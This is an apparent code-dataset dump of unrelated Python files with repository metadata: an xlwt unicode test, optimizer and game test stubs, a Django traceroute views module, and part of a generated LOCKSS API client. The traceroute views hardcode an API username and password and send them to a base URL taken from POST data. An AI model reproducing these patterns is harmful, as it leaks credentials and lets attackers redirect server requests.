4.383978

0.138122

0.145558

0.181474

0.172023

0.802773

0.777568

0.745432

0.717076

0.666037

0

0.025138

0.267943

2,717

69

107

39.376812

0.77275

0

0.435484

0

0.050055

0

0.145161

1

0.080645

false

0

0.064516

0

0.16129

0

null

0

1

0

null

0

8

2928962c75bf68a1bae5cdcfe71fdcaf1fd24069

4,930

py

Python

desktop/core/ext-py/xlwt-1.3.0/tests/test_unicodeutils.py

zhoudahong/hue

9ec1b48e6abf08e81b74fa5fc4a03770e37aff92

[ "Apache-2.0" ]

5,079

2015-01-01T03:39:46.000Z

2022-03-31T07:38:22.000Z

desktop/core/ext-py/xlwt-1.3.0/tests/test_unicodeutils.py

zhoudahong/hue

9ec1b48e6abf08e81b74fa5fc4a03770e37aff92

[ "Apache-2.0" ]

1,623

2015-01-01T08:06:24.000Z

2022-03-30T19:48:52.000Z

desktop/core/ext-py/xlwt-1.3.0/tests/test_unicodeutils.py

zhoudahong/hue

9ec1b48e6abf08e81b74fa5fc4a03770e37aff92

[ "Apache-2.0" ]

2,033

2015-01-04T07:18:02.000Z

2022-03-28T19:55:47.000Z

# coding:utf-8 import sys import unittest from xlwt.UnicodeUtils import upack1, upack2, upack2rt class TestUpack(unittest.TestCase): def test_upack1(self): result = b'\x1d\x00abcdefghijklmnopqrstuvwxyz\xd6\xc4\xdc' ustr = upack1(u"abcdefghijklmnopqrstuvwxyzÖÄÜ") self.assertEqual(ustr, result) def test_upack2_ascii(self): result = b'\x1d\x00\x00abcdefghijklmnopqrstuvwxyz\xd6\xc4\xdc' ustr = upack2(u"abcdefghijklmnopqrstuvwxyzÖÄÜ") self.assertEqual(ustr, result) def test_upack2_latin1(self): result = b'\x1d\x00\x00abcdefghijklmnopqrstuvwxyz\xd6\xc4\xdc' ustr = upack2(u"abcdefghijklmnopqrstuvwxyzÖÄÜ", encoding='latin1') self.assertEqual(ustr, result) def test_upack2_cp1251(self): result = b'\x1d\x00\x00abcdefghijklmnopqrstuvwxyz\xce\xeb\xff' ustr = upack2(u"abcdefghijklmnopqrstuvwxyz\xce\xeb\xff", encoding='cp1251') self.assertEqual(ustr, result) def test_unicode(self): chr_ = chr if (sys.version_info[0] >= 3) else unichr result = b'\x00\x02\x01\x00\x00\x01\x00\x02\x00\x03\x00\x04\x00\x05\x00\x06\x00\x07\x00\x08\x00\t\x00\n\x00\x0b\x00\x0c\x00\r\x00\x0e\x00\x0f\x00\x10\x00\x11\x00\x12\x00\x13\x00\x14\x00\x15\x00\x16\x00\x17\x00\x18\x00\x19\x00\x1a\x00\x1b\x00\x1c\x00\x1d\x00\x1e\x00\x1f\x00 \x00!\x00"\x00#\x00$\x00%\x00&\x00\'\x00(\x00)\x00*\x00+\x00,\x00-\x00.\x00/\x000\x001\x002\x003\x004\x005\x006\x007\x008\x009\x00:\x00;\x00<\x00=\x00>\x00?\x00@\x00A\x00B\x00C\x00D\x00E\x00F\x00G\x00H\x00I\x00J\x00K\x00L\x00M\x00N\x00O\x00P\x00Q\x00R\x00S\x00T\x00U\x00V\x00W\x00X\x00Y\x00Z\x00[\x00\\\x00]\x00^\x00_\x00`\x00a\x00b\x00c\x00d\x00e\x00f\x00g\x00h\x00i\x00j\x00k\x00l\x00m\x00n\x00o\x00p\x00q\x00r\x00s\x00t\x00u\x00v\x00w\x00x\x00y\x00z\x00{\x00|\x00}\x00~\x00\x7f\x00\x80\x00\x81\x00\x82\x00\x83\x00\x84\x00\x85\x00\x86\x00\x87\x00\x88\x00\x89\x00\x8a\x00\x8b\x00\x8c\x00\x8d\x00\x8e\x00\x8f\x00\x90\x00\x91\x00\x92\x00\x93\x00\x94\x00\x95\x00\x96\x00\x97\x00\x98\x00\x99\x00\x9a\x00\x9b\x00\x9c\x00\x9d\x00\x9e\x00\x9f\x00\xa0\x00\xa1\x00\xa2\x00\xa3\x00\xa4\x00\xa5\x00\xa6\x00\xa7\x00\xa8\x00\xa9\x00\xaa\x00\xab\x00\xac\x00\xad\x00\xae\x00\xaf\x00\xb0\x00\xb1\x00\xb2\x00\xb3\x00\xb4\x00\xb5\x00\xb6\x00\xb7\x00\xb8\x00\xb9\x00\xba\x00\xbb\x00\xbc\x00\xbd\x00\xbe\x00\xbf\x00\xc0\x00\xc1\x00\xc2\x00\xc3\x00\xc4\x00\xc5\x00\xc6\x00\xc7\x00\xc8\x00\xc9\x00\xca\x00\xcb\x00\xcc\x00\xcd\x00\xce\x00\xcf\x00\xd0\x00\xd1\x00\xd2\x00\xd3\x00\xd4\x00\xd5\x00\xd6\x00\xd7\x00\xd8\x00\xd9\x00\xda\x00\xdb\x00\xdc\x00\xdd\x00\xde\x00\xdf\x00\xe0\x00\xe1\x00\xe2\x00\xe3\x00\xe4\x00\xe5\x00\xe6\x00\xe7\x00\xe8\x00\xe9\x00\xea\x00\xeb\x00\xec\x00\xed\x00\xee\x00\xef\x00\xf0\x00\xf1\x00\xf2\x00\xf3\x00\xf4\x00\xf5\x00\xf6\x00\xf7\x00\xf8\x00\xf9\x00\xfa\x00\xfb\x00\xfc\x00\xfd\x00\xfe\x00\xff\x00\x00\x01\x01\x01\x02\x01\x03\x01\x04\x01\x05\x01\x06\x01\x07\x01\x08\x01\t\x01\n\x01\x0b\x01\x0c\x01\r\x01\x0e\x01\x0f\x01\x10\x01\x11\x01\x12\x01\x13\x01\x14\x01\x15\x01\x16\x01\x17\x01\x18\x01\x19\x01\x1a\x01\x1b\x01\x1c\x01\x1d\x01\x1e\x01\x1f\x01 \x01!\x01"\x01#\x01$\x01%\x01&\x01\'\x01(\x01)\x01*\x01+\x01,\x01-\x01.\x01/\x010\x011\x012\x013\x014\x015\x016\x017\x018\x019\x01:\x01;\x01<\x01=\x01>\x01?\x01@\x01A\x01B\x01C\x01D\x01E\x01F\x01G\x01H\x01I\x01J\x01K\x01L\x01M\x01N\x01O\x01P\x01Q\x01R\x01S\x01T\x01U\x01V\x01W\x01X\x01Y\x01Z\x01[\x01\\\x01]\x01^\x01_\x01`\x01a\x01b\x01c\x01d\x01e\x01f\x01g\x01h\x01i\x01j\x01k\x01l\x01m\x01n\x01o\x01p\x01q\x01r\x01s\x01t\x01u\x01v\x01w\x01x\x01y\x01z\x01{\x01|\x01}\x01~\x01\x7f\x01\x80\x01\x81\x01\x82\x01\x83\x01\x84\x01\x85\x01\x86\x01\x87\x01\x88\x01\x89\x01\x8a\x01\x8b\x01\x8c\x01\x8d\x01\x8e\x01\x8f\x01\x90\x01\x91\x01\x92\x01\x93\x01\x94\x01\x95\x01\x96\x01\x97\x01\x98\x01\x99\x01\x9a\x01\x9b\x01\x9c\x01\x9d\x01\x9e\x01\x9f\x01\xa0\x01\xa1\x01\xa2\x01\xa3\x01\xa4\x01\xa5\x01\xa6\x01\xa7\x01\xa8\x01\xa9\x01\xaa\x01\xab\x01\xac\x01\xad\x01\xae\x01\xaf\x01\xb0\x01\xb1\x01\xb2\x01\xb3\x01\xb4\x01\xb5\x01\xb6\x01\xb7\x01\xb8\x01\xb9\x01\xba\x01\xbb\x01\xbc\x01\xbd\x01\xbe\x01\xbf\x01\xc0\x01\xc1\x01\xc2\x01\xc3\x01\xc4\x01\xc5\x01\xc6\x01\xc7\x01\xc8\x01\xc9\x01\xca\x01\xcb\x01\xcc\x01\xcd\x01\xce\x01\xcf\x01\xd0\x01\xd1\x01\xd2\x01\xd3\x01\xd4\x01\xd5\x01\xd6\x01\xd7\x01\xd8\x01\xd9\x01\xda\x01\xdb\x01\xdc\x01\xdd\x01\xde\x01\xdf\x01\xe0\x01\xe1\x01\xe2\x01\xe3\x01\xe4\x01\xe5\x01\xe6\x01\xe7\x01\xe8\x01\xe9\x01\xea\x01\xeb\x01\xec\x01\xed\x01\xee\x01\xef\x01\xf0\x01\xf1\x01\xf2\x01\xf3\x01\xf4\x01\xf5\x01\xf6\x01\xf7\x01\xf8\x01\xf9\x01\xfa\x01\xfb\x01\xfc\x01\xfd\x01\xfe\x01\xff\x01' unicodestring = ''.join( [chr_(i) for i in range(0x200)]) self.assertEqual(result, upack2(unicodestring)) def test_upack2rt(self): result = b'\x06\x00\x09\x01\x00a\x00b\x00c\x00\x91\x03\x92\x03\x93\x03', b'\x00\x00\x0C\x00' self.assertEqual(result, upack2rt([(u'abcΑΒΓ', 12)]))

129.736842

3,550

0.726978

1,006

4,930

3.548708

0.280318

0.055462

0.068067

0.07395

0.30084

0.289076

0.267227

0.254902

0.22521

0

0.313961

0.054158

4,930

37

3,551

133.243243

0.451641

0.002434

0

0.214286

0

0.107143

0.444264

0.437144

0

1

0.001017

0

0.214286

1

0.214286

false

0

0.107143

0

0.357143

0

null

0

1

0

1

0

1

null

1

0

1

0

7

297f81e0a5ce5ff74ab6d3164d24f781a7df2e8f

200

py

Python

test/test_fuzzy_game.py

xfuzzycomp/FuzzyAsteroids

636707499b4689bdecd8af32231c3ffd43f6583b

[ "MIT" ]

1

2021-09-14T20:38:08.000Z

test/test_fuzzy_game.py

xfuzzycomp/FuzzyAsteroids

636707499b4689bdecd8af32231c3ffd43f6583b

[ "MIT" ]

null

test/test_fuzzy_game.py

xfuzzycomp/FuzzyAsteroids

636707499b4689bdecd8af32231c3ffd43f6583b

[ "MIT" ]

null

from unittest import TestCase from src.fuzzy_asteroids.fuzzy_controller import * from src.fuzzy_asteroids.fuzzy_asteroids import FuzzyAsteroidGame, Scenario class TestFuzzyGame(TestCase): pass

22.222222

75

0.84

24

200

6.833333

0.541667

0.256098

0.146341

0.256098

0.317073

0

0.115

200

8

76

25

0.926554

0

1

0

true

0.2

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0

1

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null

1

0

1

0

1

0

null

0

1

0

7

468377cd18e71597a5421f1a0ebc1f1bd2581277

1,023

py

Python

tests/test_optimizers/_parametrize.py

PartiallyTyped/Hyperactive

99d4f6416cf724d5dbe797c2a1a1f9ae22e7d482

[ "MIT" ]

382

2019-07-16T13:30:15.000Z

2022-03-30T22:29:07.000Z

tests/test_optimizers/_parametrize.py

PartiallyTyped/Hyperactive

99d4f6416cf724d5dbe797c2a1a1f9ae22e7d482

[ "MIT" ]

46

2019-08-27T18:07:47.000Z

2022-03-16T16:28:10.000Z

tests/test_optimizers/_parametrize.py

PartiallyTyped/Hyperactive

99d4f6416cf724d5dbe797c2a1a1f9ae22e7d482

[ "MIT" ]

35

2019-08-03T00:51:09.000Z

2021-12-03T19:06:07.000Z

from hyperactive import ( HillClimbingOptimizer, StochasticHillClimbingOptimizer, RepulsingHillClimbingOptimizer, RandomSearchOptimizer, RandomRestartHillClimbingOptimizer, RandomAnnealingOptimizer, SimulatedAnnealingOptimizer, ParallelTemperingOptimizer, ParticleSwarmOptimizer, EvolutionStrategyOptimizer, BayesianOptimizer, TreeStructuredParzenEstimators, DecisionTreeOptimizer, EnsembleOptimizer, ) optimizers = ( "Optimizer", [ (HillClimbingOptimizer), (StochasticHillClimbingOptimizer), (RepulsingHillClimbingOptimizer), (RandomSearchOptimizer), (RandomRestartHillClimbingOptimizer), (RandomAnnealingOptimizer), (SimulatedAnnealingOptimizer), (ParallelTemperingOptimizer), (ParticleSwarmOptimizer), (EvolutionStrategyOptimizer), (BayesianOptimizer), (TreeStructuredParzenEstimators), (DecisionTreeOptimizer), (EnsembleOptimizer), ], )

26.921053

45

0.717498

33

1,023

22.242424

0.575758

0.141689

0.223433

0.280654

0.945504

0

0.217009

1,023

37

46

27.648649

0.916355

0

0.008798

0

1

0

false

0

0.028571

0

0.028571

0

1

null

0

1

0

null

0

9

46934f93a99993a4a8a8ae8f292421d6f3837197

10,645

py

Python

bootcamp/traceroute/views.py

davismathew/netbot-django

5a46368ba7c16790e1b96292eecfde6f8f35d2e5

[ "MIT" ]

null

bootcamp/traceroute/views.py

davismathew/netbot-django

5a46368ba7c16790e1b96292eecfde6f8f35d2e5

[ "MIT" ]

null

bootcamp/traceroute/views.py

davismathew/netbot-django

5a46368ba7c16790e1b96292eecfde6f8f35d2e5

[ "MIT" ]

null

from django.shortcuts import render, redirect, get_object_or_404 from django.http import HttpResponseBadRequest, HttpResponse from bootcamp.tasks.models import Task from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from bootcamp.tasks.forms import TaskForm from django.contrib.auth.decorators import login_required from bootcamp.decorators import ajax_required import markdown from django.template.loader import render_to_string import requests,json from bootcamp.utils.loadconfig import get_vars def getvrflist(network): if network.lower() == 'emc'.lower(): filename = '/etc/netbot/emcvrflist.txt' elif network.lower() == 'mtn'.lower(): filename = '/etc/netbot/mtnvrflist.txt' vrfnames = [] with open(filename) as f: for line in f: vrfnames.append(line) return vrfnames @login_required def traceroute(request): # task = get_object_or_404(Task, status=Task.ACTIVE) emcvrfname=getvrflist('emc') return render(request, 'traceroute/traceroute.html', {'task': "task", 'emcvrf':emcvrfname,'message':""}) @login_required def inttraceroute(request): # task = get_object_or_404(Task, status=Task.ACTIVE) emcvrfname=getvrflist('emc') return render(request, 'traceroute/inttraceroute.html', {'task': "task", 'emcvrf':emcvrfname,'message':""}) @login_required() def runtrace(request): sourceip = request.POST.get('sourceip') destip = request.POST.get('destip') vrf = request.POST.get('vrf') network = request.POST.get('network') vrfname = request.POST.get('vrfname') baseurl = get_vars('ansibengineemc') emcvrfname=getvrflist('emc') if sourceip == '' or destip == '' or vrf == '' or vrfname == '' or network == '': return render(request, 'traceroute/traceroute.html', {'task': "task", 'emcvrf':emcvrfname,'message':"Please fill in all the details!!"}) if str(network).lower() == 'EMC'.lower(): baseurl = get_vars('ansibengineemc') else: baseurl = get_vars('ansibenginemtn') if vrf == 'True': vrf="True" else: vrf="False" return render(request, 'traceroute/runtraceroute.html', {'sourceip': sourceip, 'destip':destip,'vrfname': vrfname, 'vrf':vrf,'baseurl':baseurl}) @login_required() def runtraceapi(request): sourceip = request.POST.get('sourceip') destip = request.POST.get('destip') vrf = request.POST.get('vrf') vrfname = request.POST.get('vrfname') baseurl = request.POST.get('baseurl') url = baseurl+'/ansibengine/api/v1.0/runtrace' headers = {'content-type': 'application/json'} temp= {} data= {} data['sourceip']=sourceip data['destip']=destip data['vrfname']=vrfname if vrf == 'True': data['vrf']="True" else: data['vrf']="False" try: response = requests.post(url, data=json.dumps(data), headers=headers, auth=('netbot','N#tB@t')) if not response.status_code == 201 : temp['value']="Error!! Unexpected response. Please report this" return HttpResponse(json.dumps(temp), content_type = "application/json") except requests.exceptions.RequestException as e: # return "Error: {}".format(e) temp['value']="Error connecting to API. Please report this" return HttpResponse(json.dumps(temp), content_type = "application/json") return HttpResponse(response.text, content_type = "application/json") @login_required() def runinterfacetrace(request): routerip = request.POST.get('sourceip') interfaceip = request.POST.get('sourceint') destip = request.POST.get('destip') vrf = request.POST.get('vrf') network = request.POST.get('network') vrfname = request.POST.get('vrfdropdown') baseurl = get_vars('ansibengineemc') emcvrfname=getvrflist('emc') if routerip == '' or interfaceip == '' or destip == '' or vrf == '' or vrfname == '' or network == '': return render(request, 'traceroute/inttraceroute.html', {'task': "task", 'emcvrf':emcvrfname,'message':"Please fill in all the details!!"}) if str(network).lower() == 'EMC'.lower(): baseurl = get_vars('ansibengineemc') else: baseurl = get_vars('ansibenginemtn') if vrf == 'True': vrf="True" else: vrf="False" return render(request, 'traceroute/runinterfacetraceroute.html', {'routerip': routerip, 'interfaceip':interfaceip, 'destip':destip,'vrfname': vrfname, 'vrf':vrf,'baseurl':baseurl}) @login_required() def runinterfacetraceapi(request): routerip = request.POST.get('routerip') interfaceip = request.POST.get('interfaceip') destip = request.POST.get('destip') vrf = request.POST.get('vrf') vrfname = request.POST.get('vrfname') baseurl = request.POST.get('baseurl') url = baseurl+'/ansibengine/api/v1.0/runinterfacetrace' headers = {'content-type': 'application/json'} temp= {} data= {} data['routerip']=routerip data['interfaceip']=interfaceip data['destip']=destip data['vrfname']=vrfname if vrf == 'True': data['vrf']="True" else: data['vrf']="False" try: response = requests.post(url, data=json.dumps(data), headers=headers, auth=('netbot','N#tB@t')) if not response.status_code == 201 : temp['value']="Error!! Unexpected response. Please report this" return HttpResponse(json.dumps(temp), content_type = "application/json") except requests.exceptions.RequestException as e: # return "Error: {}".format(e) temp['value']="Error connecting to API. Please report this" return HttpResponse(json.dumps(temp), content_type = "application/json") return HttpResponse(response.text, content_type = "application/json") ##deprecated method @login_required() def gettraceroute(request): sourceip = request.POST.get('sourceip') destip = request.POST.get('destip') vrf = request.POST.get('vrf') network = request.POST.get('network') vrfname = request.POST.get('vrfdropdown') baseurl = get_vars('ansibengineemc') if str(network).lower() == 'EMC'.lower(): baseurl = get_vars('ansibengineemc') else: baseurl = get_vars('ansibenginemtn') url = baseurl+'/ansibengine/api/v1.0/gettraceroute' headers = {'content-type': 'application/json'} emcvrfname=getvrflist('emc') if vrf is True: data= {} data['sourceip']=sourceip data['destip']=destip data['vrf']="True" data['vrfname']=vrfname response = requests.post(url, data=json.dumps(data), headers=headers, auth=('netbot','N#tB@t')) statuscode = response.status_code if int(statuscode) == 200: return render(request, 'traceroute/traceroute.html', {'task': "task", 'emcvrf':emcvrfname, 'message':"Another task is running! Please wait.."}) else: data= {} data['sourceip']=sourceip data['destip']=destip data['vrf']="False" data['vrfname']=vrfname response = requests.post(url, data=json.dumps(data), headers=headers, auth=('netbot','N#tB@t')) statuscode = response.status_code if int(statuscode) == 200: return render(request, 'traceroute/traceroute.html', {'task': "task", 'emcvrf':emcvrfname, 'message':"Another task is running! Please wait.."}) return render(request, 'traceroute/runtraceroute.html', {'task': "task",'baseurl':baseurl}) ##deprecated method @login_required() def getinterfacetraceroute(request): routerip = request.POST.get('sourceip') interfaceip = request.POST.get('sourceint') destip = request.POST.get('destip') vrf = request.POST.get('vrf') network = request.POST.get('network') vrfname = request.POST.get('vrfdropdown') baseurl = get_vars('ansibengineemc') if network.lower() == 'EMC'.lower(): baseurl = get_vars('ansibengineemc') else: baseurl = get_vars('ansibenginemtn') url = baseurl+'/ansibengine/api/v1.0/getinterfacetraceroute' headers = {'content-type': 'application/json'} emcvrfname=getvrflist('emc') if vrf is True: data= {} data['routerip']=routerip data['interfaceip']=interfaceip data['destip']=destip data['vrf']="True" data['vrfname']=vrfname response = requests.post(url, data=json.dumps(data), headers=headers, auth=('netbot','N#tB@t')) statuscode = response.status_code if int(statuscode) == 200: return render(request, 'traceroute/inttraceroute.html', {'task': "task", 'emcvrf':emcvrfname, 'message':"Another task is running! Please wait.."}) else: data= {} data['routerip']=routerip data['interfaceip']=interfaceip data['destip']=destip data['vrf']="False" data['vrfname']=vrfname response = requests.post(url, data=json.dumps(data), headers=headers, auth=('netbot','N#tB@t')) statuscode = response.status_code if int(statuscode) == 200: return render(request, 'traceroute/inttraceroute.html', {'task': "task", 'emcvrf':emcvrfname, 'message':"Another task is running! Please wait.."}) return render(request, 'traceroute/runinterfacetraceroute.html', {'task': "task",'baseurl':baseurl}) ##deprecated method def runtraceroute(request): baseurl = get_vars('ansibengineemc') if request.method == 'POST': baseurl = request.POST.get('baseurl') # if request.method == 'POST': # baseurl = request.POST.get('baseurl') url = baseurl+'/ansibengine/api/v1.0/runtraceroute' headers = {'content-type': 'application/json'} data= {} data['value']="some" data['ipath']='new value' response = requests.post(url, data=json.dumps(data), headers=headers, auth=('netbot','N#tB@t')) return HttpResponse(response.text, content_type = "application/json") ##deprecated method def runinterfacetraceroute(request): baseurl = get_vars('ansibengineemc') if request.method == 'POST': baseurl = request.POST.get('baseurl') # if request.method == 'POST': # baseurl = request.POST.get('baseurl') url = baseurl+'/ansibengine/api/v1.0/runinterfacetraceroute' headers = {'content-type': 'application/json'} data= {} data['value']=url response = requests.post(url, data=json.dumps(data), headers=headers, auth=('netbot','N#tB@t')) return HttpResponse(response.text, content_type = "application/json") # task = get_object_or_404(Task, status=Task.ACTIVE) # return render(request, 'traceroute/runtraceroute.html', {'task': "task"})

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0.750217

0

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0.187788

10,645

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false

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0

null

0

1

0

1

0

null

0

7

46a8106832fc86d96aa0c267b77a51219ca8aa64

131

py

Python

src/detect-abnormal-temps/enviroment_temperature.py

latonaio/detect-abnormal-set-of-temperatures

e5cda1156e23f77f0feb16b56e3624807592fafb

[ "MIT" ]

8

2021-10-02T02:50:34.000Z

2021-11-05T04:34:38.000Z

src/detect-abnormal-temps/enviroment_temperature.py

latonaio/detect-abnormal-set-of-temperatures

e5cda1156e23f77f0feb16b56e3624807592fafb

[ "MIT" ]

null

src/detect-abnormal-temps/enviroment_temperature.py

latonaio/detect-abnormal-set-of-temperatures

e5cda1156e23f77f0feb16b56e3624807592fafb

[ "MIT" ]

null

import random def get_enviromental_temperature(): #FIXME : get temerature from sensor return random.randint(20, 25)

16.375

39

0.717557

16

131

5.75

0.875

0

0.038835

0.21374

131

7

40

18.714286

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null

0

1

0

1

0

1

0

8

314bae4978630cb75a5b15193e2c56fa0874eaf8

38,821

py

Python

lockss_repository/api/collections_api.py

lockss/lockss-repository-python

3e28121f9beed27d43af57f66b3dc9c339b274d8

[ "BSD-3-Clause" ]

null

lockss_repository/api/collections_api.py

lockss/lockss-repository-python

3e28121f9beed27d43af57f66b3dc9c339b274d8

[ "BSD-3-Clause" ]

null

lockss_repository/api/collections_api.py

lockss/lockss-repository-python

3e28121f9beed27d43af57f66b3dc9c339b274d8

[ "BSD-3-Clause" ]

null

# coding: utf-8 """ LOCKSS Repository Service REST API API of the LOCKSS RepositoryService for the LAAWS project # noqa: E501 OpenAPI spec version: 1.9 Contact: dlvargas@stanford.edu Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from lockss_repository.api_client import ApiClient class CollectionsApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def collections_collectionid_artifacts_artifactid_delete(self, collectionid, artifactid, **kwargs): # noqa: E501 """Remove an artifact from the repository # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_artifacts_artifactid_delete(collectionid, artifactid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Collection containing the artifact (required) :param str artifactid: Identifier of the artifact (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.collections_collectionid_artifacts_artifactid_delete_with_http_info(collectionid, artifactid, **kwargs) # noqa: E501 else: (data) = self.collections_collectionid_artifacts_artifactid_delete_with_http_info(collectionid, artifactid, **kwargs) # noqa: E501 return data def collections_collectionid_artifacts_artifactid_delete_with_http_info(self, collectionid, artifactid, **kwargs): # noqa: E501 """Remove an artifact from the repository # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_artifacts_artifactid_delete_with_http_info(collectionid, artifactid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Collection containing the artifact (required) :param str artifactid: Identifier of the artifact (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['collectionid', 'artifactid'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method collections_collectionid_artifacts_artifactid_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'collectionid' is set if ('collectionid' not in params or params['collectionid'] is None): raise ValueError("Missing the required parameter `collectionid` when calling `collections_collectionid_artifacts_artifactid_delete`") # noqa: E501 # verify the required parameter 'artifactid' is set if ('artifactid' not in params or params['artifactid'] is None): raise ValueError("Missing the required parameter `artifactid` when calling `collections_collectionid_artifacts_artifactid_delete`") # noqa: E501 collection_formats = {} path_params = {} if 'collectionid' in params: path_params['collectionid'] = params['collectionid'] # noqa: E501 if 'artifactid' in params: path_params['artifactid'] = params['artifactid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/collections/{collectionid}/artifacts/{artifactid}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def collections_collectionid_artifacts_artifactid_get(self, collectionid, artifactid, **kwargs): # noqa: E501 """Get artifact content and metadata # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_artifacts_artifactid_get(collectionid, artifactid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Collection containing the artifact (required) :param str artifactid: Identifier of the artifact (required) :param str accept: Content type to return :return: StreamingResponseBody If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.collections_collectionid_artifacts_artifactid_get_with_http_info(collectionid, artifactid, **kwargs) # noqa: E501 else: (data) = self.collections_collectionid_artifacts_artifactid_get_with_http_info(collectionid, artifactid, **kwargs) # noqa: E501 return data def collections_collectionid_artifacts_artifactid_get_with_http_info(self, collectionid, artifactid, **kwargs): # noqa: E501 """Get artifact content and metadata # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_artifacts_artifactid_get_with_http_info(collectionid, artifactid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Collection containing the artifact (required) :param str artifactid: Identifier of the artifact (required) :param str accept: Content type to return :return: StreamingResponseBody If the method is called asynchronously, returns the request thread. """ all_params = ['collectionid', 'artifactid', 'accept'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method collections_collectionid_artifacts_artifactid_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'collectionid' is set if ('collectionid' not in params or params['collectionid'] is None): raise ValueError("Missing the required parameter `collectionid` when calling `collections_collectionid_artifacts_artifactid_get`") # noqa: E501 # verify the required parameter 'artifactid' is set if ('artifactid' not in params or params['artifactid'] is None): raise ValueError("Missing the required parameter `artifactid` when calling `collections_collectionid_artifacts_artifactid_get`") # noqa: E501 collection_formats = {} path_params = {} if 'collectionid' in params: path_params['collectionid'] = params['collectionid'] # noqa: E501 if 'artifactid' in params: path_params['artifactid'] = params['artifactid'] # noqa: E501 query_params = [] header_params = {} if 'accept' in params: header_params['Accept'] = params['accept'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/collections/{collectionid}/artifacts/{artifactid}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='StreamingResponseBody', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def collections_collectionid_artifacts_artifactid_put(self, collectionid, artifactid, **kwargs): # noqa: E501 """Update the committed property of an artifact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_artifacts_artifactid_put(collectionid, artifactid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Collection containing the artifact (required) :param str artifactid: Identifier of the artifact (required) :param bool committed: New commit status of artifact :return: Artifact If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.collections_collectionid_artifacts_artifactid_put_with_http_info(collectionid, artifactid, **kwargs) # noqa: E501 else: (data) = self.collections_collectionid_artifacts_artifactid_put_with_http_info(collectionid, artifactid, **kwargs) # noqa: E501 return data def collections_collectionid_artifacts_artifactid_put_with_http_info(self, collectionid, artifactid, **kwargs): # noqa: E501 """Update the committed property of an artifact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_artifacts_artifactid_put_with_http_info(collectionid, artifactid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Collection containing the artifact (required) :param str artifactid: Identifier of the artifact (required) :param bool committed: New commit status of artifact :return: Artifact If the method is called asynchronously, returns the request thread. """ all_params = ['collectionid', 'artifactid', 'committed'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method collections_collectionid_artifacts_artifactid_put" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'collectionid' is set if ('collectionid' not in params or params['collectionid'] is None): raise ValueError("Missing the required parameter `collectionid` when calling `collections_collectionid_artifacts_artifactid_put`") # noqa: E501 # verify the required parameter 'artifactid' is set if ('artifactid' not in params or params['artifactid'] is None): raise ValueError("Missing the required parameter `artifactid` when calling `collections_collectionid_artifacts_artifactid_put`") # noqa: E501 collection_formats = {} path_params = {} if 'collectionid' in params: path_params['collectionid'] = params['collectionid'] # noqa: E501 if 'artifactid' in params: path_params['artifactid'] = params['artifactid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} if 'committed' in params: form_params.append(('committed', params['committed'])) # noqa: E501 body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP 